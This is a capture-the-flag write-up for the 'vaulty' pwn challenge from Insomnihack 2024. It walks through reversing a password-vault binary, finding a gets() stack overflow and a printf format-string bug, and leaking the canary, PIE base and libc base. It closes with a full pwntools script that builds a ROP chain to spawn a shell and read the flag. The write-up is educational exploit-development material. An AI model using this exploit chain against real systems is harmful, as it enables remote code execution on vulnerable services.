vaulty
#vaulty
Introduction
This post is a write-up of a pwn challenge from INSOMNIHACK PREQUAL CTF 2024.
Honestly i dont validate it in the time of the ctf.
You can find le binary here : vaulty.zip
Le description of the challenge is :
Everybody needs a password manager.
nc vaulty.insomnihack.ch 4556
vaulty
The application is running in a ubuntu@sha256:bbf3d1baa208b7649d1d0264ef7d522e1dc0deeeaaf6085bf8e4618867f03494 container.
the tools used are ghidra to discovering the code, radare2 to insperct the disassembles form, and GDB/GEF to debug.
Discovery
Starting, the program display this menu.
./vaulty
Vault Menu:
1. Create an entry
2. Modify an entry
3. Delete an entry
4. Print an entry
5. Exit
Enter your choice (1-5):
We can create some password entries in a password vault.
Looking at the program
file vaulty
vaulty: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=35a292ce50c0e54f6076a924df6b3d9041f9a5ca, for GNU/Linux 4.4.0, stripped
The program is a PIE x86-64 programme stripped.
checksec vaulty
[*] '/w/insomnihack2024/vaulty/vaulty'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stack protection is enabled : NX and canary
The first bug : overflow
The program is stripped so we have to reconaize and name the functions. With the messages printed it is easy.
The main function is a simple loop with a switch:
undefined8 FUN_main(void)
{
int iNo;
long in_FS_OFFSET;
undefined data [979];
char no_s5 [5];
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
setvbuf(stdout,(char *)0x0,2,0);
FUN_set_zero_end(data);
do {
FUN_menu();
fgets(no_s5,5,stdin);
iNo = atoi(no_s5);
switch(iNo) {
default:
puts("Invalid choice. Please enter a valid option.");
break;
case 1:
FUN_new_entry(data);
break;
case 2:
FUN_edit_entry(data);
break;
case 3:
FUN_delete_entry(data);
break;
case 4:
FUN_view_entry(data);
break;
case 5:
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
} while( true );
}
We can note that a buffer of 979 is allocated on the stack and used ar argument for each function.
The entry creation function :
undefined8 FUN_new_entry(long param_1)
{
undefined8 *puVar1;
long in_FS_OFFSET;
undefined8 username;
undefined8 local_80;
undefined8 local_78;
undefined8 local_70;
undefined8 password;
undefined8 local_60;
undefined8 local_58;
undefined8 local_50;
undefined8 url;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
if (*(int *)(param_1 + 0x3c0) < 10) {
fflush(stdin);
puts("Creating a new entry:");
puts("Username: ");
fgets((char *)&username,0x20,stdin);
puts("Password: ");
fgets((char *)&password,0x20,stdin);
puts("URL: ");
gets((char *)&url);
puVar1 = (undefined8 *)((long)*(int *)(param_1 + 0x3c0) * 0x60 + param_1);
*puVar1 = username;
puVar1[1] = local_80;
puVar1[2] = local_78;
puVar1[3] = local_70;
puVar1[4] = password;
puVar1[5] = local_60;
puVar1[6] = local_58;
puVar1[7] = local_50;
puVar1[8] = url;
puVar1[9] = local_40;
puVar1[10] = local_38;
puVar1[0xb] = local_30;
*(int *)(param_1 + 0x3c0) = *(int *)(param_1 + 0x3c0) + 1;
puts("Entry created successfully.");
}
else {
puts("Vault is full. Cannot create more entries.");
}
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
Here, the probleme is the usage of gets in place of fgets. The username and password fields are correctly limited to 32 bytes. url not.
So we can write forward on the stack, overwirte the return addresse of the function but we smatche the canary too.
Looking at the prelude of the function
; var int64_t var_18h @ rbp-0x18
│
│ 0x000011e2 55 push rbp
│ 0x000011e3 4889e5 mov rbp, rsp
│ 0x000011e6 53 push rbx
│ 0x000011e7 4881ec880000. sub rsp, 0x88
│ 0x000011ee 4889bd78ffff. mov qword [var_88h], rdi ; arg1
│ 0x000011f5 64488b042528. mov rax, qword fs:[0x28]
│ 0x000011fe 488945e8 mov qword [var_18h], rax
│ 0x00001202 31c0 xor eax, eax
The stack size is 0x88 The canary is stored at rbp-0x18
And if we look a the code aroud the gets :
│ ; var char *stream @ rbp-0x80
│ │ 0x000012b8 488d5580 lea rdx, [stream]
│ │ 0x000012bc 488d4a40 lea rcx, [rdx + 0x40] ; rbp-0x80+0x40
│ │ 0x000012c0 4889c2 mov rdx, rax ; not usfull
│ │ 0x000012c3 be20000000 mov esi, 0x20 ; not used
│ │ 0x000012c8 4889cf mov rdi, rcx ; argument of gets
│ │ 0x000012cb b800000000 mov eax, 0
│ │ 0x000012d0 e8abfdffff call sym.imp.gets ; char *gets(char *s)
The url is read @ rbp-0x40 : 0x28 (40) bytes before the canary
We can verify that 40 bytes in url work and 41 bytes smatch the canary
# ./vaulty
Vault Menu:
1. Create an entry
2. Modify an entry
3. Delete an entry
4. Print an entry
5. Exit
Enter your choice (1-5):
1
Creating a new entry:
Username:
A
Password:
B
URL:
AAAAAAAAAABBBBBBBBBBAAAAAAAAAABBBBBBBBBB
Entry created successfully.
Vault Menu:
1. Create an entry
2. Modify an entry
3. Delete an entry
4. Print an entry
5. Exit
Enter your choice (1-5):
1
Creating a new entry:
Username:
A
Password:
B
URL:
AAAAAAAAAABBBBBBBBBBAAAAAAAAAABBBBBBBBBBC
Entry created successfully.
*** stack smashing detected ***: terminated
Aborted (core dumped)
To make it with an cyclic pattern.
We put a break point at the canary verification sequence.
│ └──> 0x0000138c 488b55e8 mov rdx, qword [var_18h]
│ 0x00001390 64482b142528. sub rdx, qword fs:[0x28]
│ ┌─< 0x00001399 7405 je 0x13a0
│ │ 0x0000139b e8b0fcffff call sym.imp.__stack_chk_fail
Under gdb/gef :
gef➤ start
...
gef➤ pie breakpoint 0x1390
gef➤ i b
Num Type Disp Enb Address What
1 breakpoint keep y 0x0000560a00a0d390
Obtain a pattern
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
[+] Saved as '$_gef0'
continue
Use it
1
Creating a new entry:
Username:
A
Password:
B
URL:
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Entry created successfully.
The program stop at the BP and we see the value in rdx :
$rdx : 0x6161616161616166 (“faaaaaaa”?)
gef➤ pie breakpoint 0x11fe
gef➤ pie breakpoint 0x1390
gef➤ i b
Num Type Disp Enb Address What
2 breakpoint keep y 0x000055cc8a3961fe
3 breakpoint keep y 0x000055cc8a396390
c
On the first BP, befor the setting of the canary :
gef➤ x/20xg $rsp
0x7fff5fc2c6f0: 0x00007fff5fc2cb73 0x00007fff5fc2c7a0
0x7fff5fc2c700: 0x00007f0307b20000 0x000055cc8b29c2a2
0x7fff5fc2c710: 0x0000000107ad3780 0x0000000000000000
0x7fff5fc2c720: 0x0000000000000018 0x00007fff5fc2cb73
0x7fff5fc2c730: 0x0000000000000000 0x000000005fc2cb73
0x7fff5fc2c740: 0x0000000000000000 0x00007fff5fc2cc98
0x7fff5fc2c750: 0x00007fff5fc2cb80 0x0000000000000000
0x7fff5fc2c760: 0x00007fff5fc2cca8 0x000055cc8a398dd8
0x7fff5fc2c770: 0x00007f0307b20000 0x00007fff5fc2cc98
0x7fff5fc2c780: 0x00007fff5fc2cb80 0x000055cc8a396951
ni
gef➤ x/20xg $rsp
0x7fff5fc2c6f0: 0x00007fff5fc2cb73 0x00007fff5fc2c7a0
0x7fff5fc2c700: 0x00007f0307b20000 0x000055cc8b29c2a2
0x7fff5fc2c710: 0x0000000107ad3780 0x0000000000000000
0x7fff5fc2c720: 0x0000000000000018 0x00007fff5fc2cb73
0x7fff5fc2c730: 0x0000000000000000 0x000000005fc2cb73
0x7fff5fc2c740: 0x0000000000000000 0x00007fff5fc2cc98
0x7fff5fc2c750: 0x00007fff5fc2cb80 0x0000000000000000
0x7fff5fc2c760: 0x00007fff5fc2cca8 0xa7e39ea6c1999600
^ canary
0x7fff5fc2c770: 0x00007f0307b20000 0x00007fff5fc2cc98
_rtld_global @ in the stack ??
0x7fff5fc2c780: 0x00007fff5fc2cb80 0x000055cc8a396951
^SRBP ^SRIP
Then we create an entry with an url of 48 char (8 plus FFFFFFFFF for the canay).
gef➤ c
Continuing.
Creating a new entry:
Username:
aaaaaaaa
Password:
bbbbbbbb
URL:
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCEEEEEEEEEEFFFFFFFF
Entry created successfully.
gef➤ x/20xg $rsp
0x7fff5fc2c6f0: 0x00007fff5fc2cb73 0x00007fff5fc2c7a0
0x7fff5fc2c700: 0x6161616161616161 0x000055cc8b29000a
0x7fff5fc2c710: 0x0000000107ad3780 0x0000000000000000
0x7fff5fc2c720: 0x6262626262626262 0x00007fff5fc2000a
0x7fff5fc2c730: 0x0000000000000000 0x000000005fc2cb73
0x7fff5fc2c740: 0x4141414141414141 0x4242424242424141
0x7fff5fc2c750: 0x4343434342424242 0x4545434343434343
0x7fff5fc2c760: 0x4545454545454545 0x4646464646464646
0x7fff5fc2c770: 0x00007f0307b20000 0x00007fff5fc2cc98
0x7fff5fc2c780: 0x00007fff5fc2cb80 0x000055cc8a396951
and
$rdx : 0x4646464646464646 (“FFFFFFFF”?)
Then we understand the oportunity to obtaine an overflow but wath about the canary’s value.
The second bug : leak
Detection
We need a leak. For than a simple option is a printf vulerabiliy. So we try it.
Vault Menu:
1. Create an entry
2. Modify an entry
3. Delete an entry
4. Print an entry
5. Exit
Enter your choice (1-5):
1
Creating a new entry:
Username:
%p %p %p %p
Password:
%p %p %p %p
URL:
%p %p %p %p
Entry created successfully.
Vault Menu:
1. Create an entry
2. Modify an entry
3. Delete an entry
4. Print an entry
5. Exit
Enter your choice (1-5):
4
Select an entry to view (0-2):
1
Username: 0x7ffdf2f97270 (nil) (nil) 0x1999999999999999
Password: 0x7ffdf2f97270 (nil) (nil) 0x78
Url: 0x7ffdf2f97270 (nil) (nil) 0x78
Bingo
ghidra confirmation :
void FUN_view_entry(long param_1)
{
int iNo;
char *__format;
long in_FS_OFFSET;
char buf5 [5];
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
printf("Select an entry to view (0-%d):\n",(ulong)(*(int *)(param_1 + 0x3c0) - 1));
fgets(buf5,5,stdin);
iNo = atoi(buf5);
if ((iNo < 0) || (*(int *)(param_1 + 0x3c0) <= iNo)) {
puts("Invalid entry number.");
}
else {
__format = (char *)((long)iNo * 0x60 + param_1);
printf("Username: ");
printf(__format);
printf("Password: ");
printf(__format + 0x20);
printf("Url: ");
printf(__format + 0x40);
putchar(10);
}
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
printf(__format);
was the bad thing.
Building the exploitation
With the overflow whe can replace the return address of the new_entry function. With the printf bug, we can leak the value of the canary and more.
The stack is protected with NX flag and we can’t use directly a shellcode. We have to buid a ropchaine for example to call system("/bin/sh")
For that we need to now the address of the system function in the libc and a “/bin/sh” string. We will search leak to obtain an adresse of the libc. Typicatly :
- obtain a leak of an adresse in the current programe
- localize the GOT table of the process witch contains the current adresse of the used function like puts.
- calculate the libc base adresse
- calculate the system adresse
- may be et probablely calculate /bin/sh adress in the libc too
we need too for our rop chaine some gadgets :
- a “pop rdi” gadget
A we will see the we need a ret adresse too.
And before thant we nee the good libc, the same as the CTF challenge. The description of the challenge give us this information The application is running in a ubuntu@sha256:bbf3d1baa208b7649d1d0264ef7d522e1dc0deeeaaf6085bf8e4618867f03494 container.
Environment to simulate the challenge
We build a docker container from this dockerfile, using the specified ubuntu image
cat Dockerfile
from amd64/ubuntu:22.04
# docker build -t ubuntu_vaulty .
RUN apt update
RUN apt -y install gdb gdbserver socat
COPY ./vaulty .
COPY ./start.sh .
RUN chmod +x ./vaulty
RUN chmod +x ./start.sh
RUN chmod +x ./start_debug.sh
RUN echo FLAG{flag_flag} >flag.txt
The start_debug.sh script will launch the programe with gdbserver :
#!/bin/sh
socat "tcp-listen:4556,reuseaddr,fork" 'exec:"gdbserver localhost:1337 ./vaulty",nofork'
Then the service will be avalable on port 4556 and the gdb debug port will be 1337.
We run the docker container :
docker run -d --rm -p 1337:1337 -p 4556:4556 --rm ubuntu_vaulty ./start_debug.sh
A start.sh can be used to avoid gdb usage
#!/bin/sh
socat "tcp-listen:4556,reuseaddr,fork" './vaulty",nofork'
Usage
- connect to server nc localhost 4556
- lauch gdb gdb -ex “target remote localhost:1337” vaulty
Leaking
To leak a useful information with printf("%p")
we need to now where it is.
The method is to send and TAG followed by a “%p” sequence and identfy is index.
example :
Vault Menu:
1. Create an entry
2. Modify an entry
3. Delete an entry
4. Print an entry
5. Exit
Enter your choice (1-5):
1
Creating a new entry:
Username:
%p %p %p %p %p %p %p %p %p %p
Password:
%p %p %p %p %p %p %p %p %p %p
URL:
%p %p %p %p %p %p %p %p %p %p
Entry created successfully.
Vault Menu:
1. Create an entry
2. Modify an entry
3. Delete an entry
4. Print an entry
5. Exit
Enter your choice (1-5):
4
Select an entry to view (0-0):
0
Username: 0x7ffe177b8200 (nil) 0x7f4c8fd1e887 0xa (nil) 0x7ffe177ba750 0x7ffe177ba370 0xce2d0894 0x7ffe177ba370 0xa30e72040
Password: 0x7ffe177b8200 (nil) 0x7f4c8fd1e887 0xa 0x7ffe177b808f 0x7ffe177ba750 0x7ffe177ba370 0xce2d0894 0x7ffe177ba370 0xa30e72040
Url: 0x7ffe177b8200 (nil) 0x7f4c8fd1e887 0x5 0x7ffe177b808f 0x7ffe177ba750 0x7ffe177ba370 0xce2d0894 0x7ffe177ba370 0xa30e72040
Breaking on “printf” (0x17ad) we can look at the stack juste before it :
gef➤ p $rbp
$1 = (void *) 0x7ffe177ba350
gef➤ x/50xg $rsp-200
0x7ffe177ba258: 0xa3cfb0961cfbbe00 0x0000000000000004
0x7ffe177ba268: 0x00007ffe177b8200 0x0000000000000000
start here
0x7ffe177ba278: 0x00007f4c8fd1e887 0x000000000000000a
0x7ffe177ba288: 0x0000000000000000 0x0000556ccf3d42be
0x7ffe177ba298: 0x0000556ccf3d42a2 0x0000000100000004
0x7ffe177ba2a8: 0x0000000000000000 0x0000556cce2d11e6
0x7ffe177ba2b8: 0x0000000000000000 0x000000008f054aa0
0x7ffe177ba2c8: 0xffffffffffffffff 0x0000000000000000
0x7ffe177ba2d8: 0x0000000000000000 0x00007ffe177ba350
0x7ffe177ba2e8: 0x00007ffe177ba868 0x0000556cce2d0894
0x7ffe177ba2f8: 0x0000556cce2d2dd8 0x00007f4c8fe72040
0x7ffe177ba308: 0x00007f4c8fc4d654 0x0000556cce2d2dd8
0x7ffe177ba318: 0x0000556cce2d07b2 0x00007ffe177ba750
0x7ffe177ba328: 0x00007ffe177ba370 0x00000000ce2d0894
0x7ffe177ba338: 0x00007ffe177ba370 0x0000000a30e72040
0x7ffe177ba348: 0xa3cfb0961cfbbe00 0x00007ffe177ba750 <= rbp>
canary srbp
0x7ffe177ba358: 0x0000556cce2d0984 0x00007f4c8fe39ad8
0x7ffe177ba368: 0x000000048fe36c18 0x7025207025207025
0x7ffe177ba378: 0x2520702520702520 0x2070252070252070
0x7ffe177ba388: 0x00000a7025207025 0x7025207025207025
0x7ffe177ba398: 0x2520702520702520 0x2070252070252070
0x7ffe177ba3a8: 0xff000a7025207025 0x7025207025207025
0x7ffe177ba3b8: 0x2520702520702520 0x2070252070252070
0x7ffe177ba3c8: 0x0000007025207025 0x000000000000000a
0x7ffe177ba3d8: 0x00007ffe177ba7e0 0x0000000000000001
To explore the stack a little script can be used
The result :
pattern : %0$p %1$p %2$p %3$p
%0$p 0x7ffd7616d340 (nil) 0x7fb75f6c6887
pattern : %4$p %5$p %6$p %7$p
0xa (nil) 0x7ffd7616f890 0x7ffd7616f4b0
pattern : %8$p %9$p %10$p %11$p
0xb1096894 0x7ffd7616f4b0 0xa3081a040 0xf50fe8ad7dd2db00
pattern : %12$p %13$p %14$p %15$p
0x7ffd7616f890 0x5621b1096984 0x7fb75f7e1ad8 0x45f7dec18
pattern : %16$p %17$p %18$p %19$p
0x3125207024363125 0x2438312520702437 0xa70243931252070 (nil)
pattern : %20$p %21$p %22$p %23$p
0x3225207024303225 0x2432322520702431 0xa70243332252070 0xffffffffffffff00
pattern : %24$p %25$p %26$p %27$p
0x3225207024343225 0x2436322520702435 0x70243732252070 0x7ffd7616f9a8
pattern : %28$p %29$p %30$p %31$p
0xa 0x7ffd7616f920 0x1 0x7ffd7616f9a8
pattern : %32$p %33$p %34$p %35$p
0x5621b1096894 0x7fb75f7f5dae (nil) 0x5621b1098dd8
pattern : %36$p %37$p %38$p %39$p
0x7ffd7616f9b8 (nil) 0x7fb75f81b2e0 0x7fb75f7cdf10
pattern : %40$p %41$p %42$p %43$p
0x7fb75f7e6040 (nil) 0x4 0x1
pattern : %44$p %45$p %46$p %47$p
(nil) 0xffff00001f80 0x7fb75f81b118 0x7fb75f81b800
pattern : %48$p %49$p %50$p %51$p
0x7ffd00000001 0x7fb75f80eee9 0x7ffd7616f500 0xd9ef86f4daa
pattern : %52$p %53$p %54$p %55$p
(nil) (nil) (nil) 0x7ffd761c4218
pattern : %56$p %57$p %58$p %59$p
0x2000000000 (nil) (nil) 0x38000000380
Specialy we found :
pattern : %8$p %9$p %10$p %11$p
0xb1096894 0x7ffd7616f4b0 0xa3081a040 0xf50fe8ad7dd2db00
pattern : %12$p %13$p %14$p %15$p
0x7ffd7616f890 0x5621b1096984 0x7fb75f7e1ad8 0x45f7dec18
- 11 is the canary
- 12 the save of RBP
- 13 the return adresse in then main
- 16 the begin of the printf argument
For the return adresse 0x1894 :
│ ││││╎ 0x00001975 488d8520fcff. lea rax, [var_3e0h]
│ ││││╎ 0x0000197c 4889c7 mov rdi, rax
│ ││││╎ 0x0000197f e85dfdffff call fcn.000016e1
│ ┌──────< 0x00001984 eb25 jmp 0x19ab
Give us the base adresse of the elf.
The we can identify the current got adresse
ex :
- leak : 0x558726b82984
- base adresse : leak - 0x00001984 => 0x558726b81000
- got : base adresse + 0x03fc0 => 0x558726b84fc0
we can confirme with gdb :
gef➤ x/20xg 0x558726b84fc0
0x558726b84fc0: 0x00007f90c08dddc0 0x0000000000000000
0x558726b84fd0: 0x0000000000000000 0x0000000000000000
0x558726b84fe0: 0x00007f90c08f99a0 0x0000000000003de0
0x558726b84ff0: 0x00007f90c0b1d2e0 0x00007f90c0af7d30
0x558726b85000 <putchar@got.plt>: 0x0000558726b82036 0x00007f90c0934e50
0x558726b85010 <__stack_chk_fail@got.plt>: 0x0000558726b82056 0x00007f90c09146f0
0x558726b85020 <fgets@got.plt>: 0x00007f90c0933380 0x00007f90c0934520
0x558726b85030 <fflush@got.plt>: 0x00007f90c0933130 0x00007f90c09355f0
0x558726b85040 <atoi@got.plt>: 0x00007f90c08f7640 0x0000558726b820c6
0x558726b85050: 0x0000000000000000 0x0000558726b85058
gef➤ x/1xg 0x558726b85008
0x558726b85008 <puts@got.plt>: 0x00007f90c0934e50
The current address of puts is correct :
# readelf -s libc.so.6 |grep puts
524: 000000000012cb20 660 FUNC GLOBAL DEFAULT 15 putsgent@@GLIBC_2.10
808: 000000000007fa00 294 FUNC WEAK DEFAULT 15 fputs@@GLIBC_2.2.5
951: 000000000012b450 1218 FUNC GLOBAL DEFAULT 15 putspent@@GLIBC_2.2.5
1429: 0000000000080e50 409 FUNC WEAK DEFAULT 15 puts@@GLIBC_2.2.5
1438: 0000000000080e50 409 FUNC GLOBAL DEFAULT 15 _IO_puts@@GLIBC_2.2.5
And we can calculate de libc base address :
0x00007f90c0934e50 - 0x000000000080e50 => 0x7f90c08b4000
The offset of system is :
# readelf -s libc.so.6 |grep system
1481: 0000000000050d70 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
=> system addresse is 0x7f90c0904d70
And for /bin/sh :
# rafind2 -Z libc.so.6 |grep /bin/sh
0x001d8678 /bin/sh
gef➤ p 0x00007f6324371e50 - 0x000000000080e50 $2 = 0x7f63242f1000
gef➤ p 0x7f90c08b4000 + 0x001d8678 $3 = 0x7f90c0a8c678 gef➤ x/s 0x7f90c0a8c678 0x7f90c0a8c678: “/bin/sh”
Read de GOT
Above we had read the entry got of puts with gdb. But we had to do it with the program.
To do that we can :
- Modify the created entry with a new username for example withe a new pattern specifying %s and the calculated adresse of the entry.
- view again the entry
- parse the response.
We have seen than the 16th index of the printf is the start of the message. So “AAAAAAAA%16$p” will print 0x4141414141414141.
If we try tu put @got.puts|%16$p it dont work because of then zero bytes of the addresse will end the string message.
We have to put the adresse after the paterne and the it wi bi in the 17th position. DOn forger to aligne the pattern to have a 8 characters length.
“#%17$d# " is usefull, the # will help to parse the response.
ROP chain
We can send this simple rop chaine :
- pop_rdi gadget
- @ bin_sh
- @ system
For that we nee a pop rdi gadget :
ROPgadget --binary libc.so.6 |grep "pop rdi"
...
0x000000000002a3e5 : pop rdi ; ret
...
##Solution
##Script
import pwn
import time
REMOTE=True
REMOTE=False
DEBUG=True
xs='''
pie breakpoint 0x17ad
'''
pwn.context.log_level='info'
pwn.context.terminal=["/usr/bin/xterm", "-fa", "Monospace", "-fs","12", "-e"]
def creer_entree(io, un, pw, url):
io.recvuntil(b"):")
io.sendline(b"1")
io.recvuntil(b"Username:")
io.sendline(un)
io.recvuntil(b"Password:")
io.sendline(pw)
io.recvuntil(b"URL:")
io.sendline(url)
def modifier_entree(io,no, un, pw, url):
# Selection
io.recvuntil(b"):")
io.sendline(b"2")
io.recvuntil(b"):")
io.sendline(str(no).encode())
# Modif
io.recvuntil(b"Username:")
io.sendline(un)
io.recvuntil(b"Password:")
io.sendline(pw)
io.recvuntil(b"URL:")
io.sendline(url)
def lire_entree(io, no):
# Lecture
io.recvuntil(b"):")
io.sendline(b"4")
io.recvuntil(b"):")
io.sendline(str(no).encode())
# io.interactive()
io.recvuntil(b"Username:")
un=io.recvuntil(b"Password:")
un = un.removesuffix(b"Password:")
pw= io.recvuntil(b"Url:").removesuffix(b"Url:")
url=io.recvline()
return (un,pw,url)
binfile = "./vaulty"
libcfile=("./libc.so.6")
elf = pwn.ELF(binfile)
libc = pwn.ELF(libcfile)
# Extraction des offsets de symboles utiles
got_off = elf.get_section_by_name(".got").header.sh_addr
stack_fail_off = elf.got['__stack_chk_fail']
got_puts = elf.got['puts']
#got_putchar = elf.got['putchar']
got_printf = elf.got['printf']
libc_puts = libc.symbols['puts']
libc_system = libc.symbols['system']
libc_magic = 0x0ebc85
libc_pop_rdi = 0x02a3e5
libc_binsh=0x001d8678
if REMOTE:
io = pwn.remote("vaulty.insomnihack.ch",4556)
else:
if DEBUG:
#io=pwn.process(["bash","run_vaulty.sh"])
#time.sleep(.5)
#io = pwn.gdb.debug(binfile,gdbscript=xs, env=env)
io=pwn.remote("localhost",12345)
time.sleep(1)
#pwn.gdb.attach(("127.0.0.1",1337),xs)
else:
io = pwn.remote("localhost",12345)
# On recupere
# 11 : le canary
# 12 : srbp
# 13 : srip
username = "#%12$p#%13$p#%11$p#"
creer_entree(io, username, b"pppp", b"url")
a,b,c = lire_entree(io,0)
print(a)
a = a.split(b"#")
srbp = int(a[1][2:],16)
srip = int(a[2][2:],16)
canary = int(a[3][2:],16)
elf_base= srip-0x1984
got_addr = elf_base+got_off
got_sfc_addr = elf_base+stack_fail_off
got_puts_addr=elf_base+got_puts
rop_nop = elf_base + 0x1823
#got_putchar_addr=elf_base+got_putchar
#got_printf_addr=elf_base+got_printf
print(f"srbp : 0x{srbp:x}")
print(f"srip : 0x{srip:x}")
print(f"canary : 0x{canary:x}")
print(f"got : 0x{got_addr:x}")
print(f"got_sfc : 0x{got_sfc_addr:x}")
# Leak de l'adresse le puts dans la got
#PL=pwn.p64(got_sfc_addr)+b"#%14$s#"
PL=b"#%17$s# "+pwn.p64(got_puts_addr)
modifier_entree(io,0,PL,b"B",b"C")
e,_,_ = lire_entree(io,0)
# extraction du leak de puts et calcul de l'adresse de la libc
p = e.split(b"#")[1]
print(len(p),p.hex())
puts_addr = pwn.u64(p+b"\x00"*(8-len(p)))
libc_base = puts_addr - libc_puts
libc_system_addr = libc_base + libc_system
libc_magic_addr = libc_base + libc_magic
pop_rdi = libc_base + libc_pop_rdi
binsh = libc_base + libc_binsh
print(f"puts_addr : 0x{puts_addr:x}")
print(f"libc_base : 0x{libc_base:x}")
print(f"libc_system : 0x{libc_system_addr:x}")
print(f"libc_pop_rdi : 0x{pop_rdi:x}")
# debordement
PL = b"A"*40+pwn.p64(canary)+pwn.p64(0xdeadbeef)+pwn.p64(0xdeadbeef)+pwn.p64(0xdeadbeef)
PL+= pwn.p64(pop_rdi)+pwn.p64(binsh)+pwn.p64(rop_nop)+pwn.p64(libc_system_addr)
creer_entree(io, b"AAAAAAAA", b"BBBBBBBB", PL)
io.sendline("ls -l")
io.sendline("cat flag.txt")
io.interactive()
Execution